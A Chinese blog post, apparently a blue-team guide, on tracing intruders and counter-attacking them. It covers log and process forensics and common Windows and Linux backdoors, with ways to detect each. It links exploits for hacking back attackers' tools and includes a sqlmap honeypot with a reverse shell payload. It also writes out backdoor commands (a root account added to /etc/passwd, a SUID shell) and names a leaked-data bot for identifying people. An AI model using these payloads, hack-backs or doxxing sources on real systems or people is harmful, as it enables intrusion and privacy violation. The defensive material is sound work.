反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。
傀儡机一般都是具有漏洞的主机,可以使用常规渗透测试的手段进行攻击,这个操作就非常广了,在这里不过多赘述。
倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控,高版本蚁剑上此漏洞已经被修复。
已知有漏洞的工具版本:
蚁剑 <=2.0.7
可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147
被发现另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150
Payload:
Hello World!
Hello World!
This window does not have access to node bindings.
process:
awvs 10
直接利用exp,等待对方扫描自己,即刻上线。exp下载地址:https://github.com/dzonerzy/acunetix_0day
cobalt strike
3.5版本teamserver有RCE漏洞
可以爆破teamserver密码,然后得到黑客攻击的其他傀儡机。
exp利用地址:https://github.com/ryanohoro/csbruter
sqlmap
构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为ls
l,倘若直接改成反弹shell的代码即可反控对方机器。
post利用方式:
<html>
<head>
<title> A sqlmap honeypot demotitle>
head>
<body>
<input>search the userinput>
<form id="myForm" action="username.html" method="post" enctype="text/plain">
<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
<input type="button"οnclick="myForm.submit()" value="Submit">
form>
body>
html>
一般拿到傀儡机之后,就需要查找下一步攻击者的信息了,当然攻击者也很有可能搭建socks代理来攻击,但是还是有可能会发现真实攻击者的蛛丝马迹的。
Nginx,Apache,IIS,Tomcat
可以查看分析攻击者的IP,访问的UA
可以grep木马页面筛选攻击者IP,
查看日志中某个路径访问最多的10个IP
cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10
可以看到访问者的IP
Windows
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx
Linux
/var/log
secure、history
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
/var/log/syslog 或 /var/log/messages 存储所有的全局系统活动数据,包括开机信息。基于 Debian 的系统如 Ubuntu 在 /var/log/syslog 中存储它们,而基于 RedHat 的系统如 RHEL 或 CentOS 则在 /var/log/messages 中存储它们。
/var/log/auth.log 或 /var/log/secure 存储来自可插拔认证模块(PAM)的日志,包括成功的登录,失败的登录尝试和认证方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存储认证信息,而 RedHat 和 CentOS 则在 /var/log/secure 中存储该信息。
tasklist
查看进程列表,eg: tasklist | find "16376"进一步查看16376进程的具体信息。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理规范) ,提供了从命令行接口和批命令脚本执行系统管理的支持。C:\users\fengxuan>wmic
wmic:root\cli>
这时,在命令行再输入process, 就可以查看完整的进程信息了。
windows的任务管理器是很好的进程查看工具,当然大家还可以使用一些其他工具,比如Kernel Detective 来帮助你检测
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
ps
ps aux
查看进程
/proc/进程号
进程信息
在浏览 /proc 目录的时候您会发现许多目录的名称是一些数字。这些目录保存了当前系统中运行的所有进程的信息。
Top 命令,查看进程占用系统资源情况
lsof命令
netstat -an
查看网络连接
netstat -na|grep ESTABLISHED
查看已经连接上的网络IP
netstat -unltp
查看进程占用的端口号 (很有用)
wireshark
fiddler
tcpdump
使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap
将抓到的包放到wireshark中进行分析
常见的后门技术列表:
1、隐藏、克隆账户
test$
,
查找方式 :
需要在界面上的用户管理查看,而不是单单在命令行查看
2、shift后门
将C盘windows目录下面的system32文件里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe
查找方式 :
Md5 sethc.exe 看下是不是cmd.exe 的MD5
certutil -hashfile filename MD5
3、启动项、计划任务
【启动项】
查找方式 :
window–开始–所有程序–启动
【组策略欺骗】
组策略,运行gpedit.msc,通过最策略的“脚本(启动/关机)”项来说实现。
查找方式 :
具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
【计划任务】
查找方式 :
window–开始–所有程序–附件–系统工具–任务计划程序
4、劫持技术
查找方式 :
所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
查找方式 :
这个注册项中有恶意的键值对就需要排查.
5、Powershell后门
如何创建稳定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor
查找方式 :
查看进程中是否有powershell的常驻进程
6、远控软件
Cobaltstrike, 灰鸽子。只能通过进程分析和流量分析才能找到木马。因为cs可以注入到其他进程中比如说System进程。
查找方式 :
通过任务管理器分析进程,还需要通过WSExplorer进行进程抓包。
7、嗅探技术
Cain
查找方式 :
查看进程
增加超级用户帐号
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
查找方式 :
查看 /etc/passwd 是否有UID为0的用户
破解/嗅控用户密码
查找方式 :查看进程,分析
放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
查找系统中设置了SUID权限的文件
find / -perm +4000 -exec ls -ld {} \; //查找设置了SUID权限的文件
find / -perm +6000 -exec ls -ld {} \; //上面的-6000表示既具有suid权限又具有sgid权限的文件
利用系统服务程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
查找方式 :查看配置文件,查看文件MD5
TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
这个是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
查找方式 :查看进程
Crontab定时任务
crontab -l #查看服务
LInux: w命令
Windows:query user
进程分析得到的病毒样本,可以在https://x.threatbook.cn/ 微步进行HASH查询,https://www.virustotal.com/ 这个网站上进行查询,可以检测是否为病毒,还有可以得到病毒的C2地址。
1. 社交平台查询(微信/支付宝/微博/抖音)
2. 通过telegram里社工库机器人进行精准信息查询,机器人ID:@sgkmainbot
3. 查询注册过哪些网站 网站地址:https://www.reg007.com/
这篇文章是我目前知道的溯源反制的所有的操作细节规范,在以后如果有新的技术出现,我也会及时的补充进去,我把这个文档放在Notion上,动态的更新,大家可以随时查看下:
https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8
这里我就放一张思维导图,大家可以在工作的时候参考。
我的公号:风炫安全, 领取蓝队资料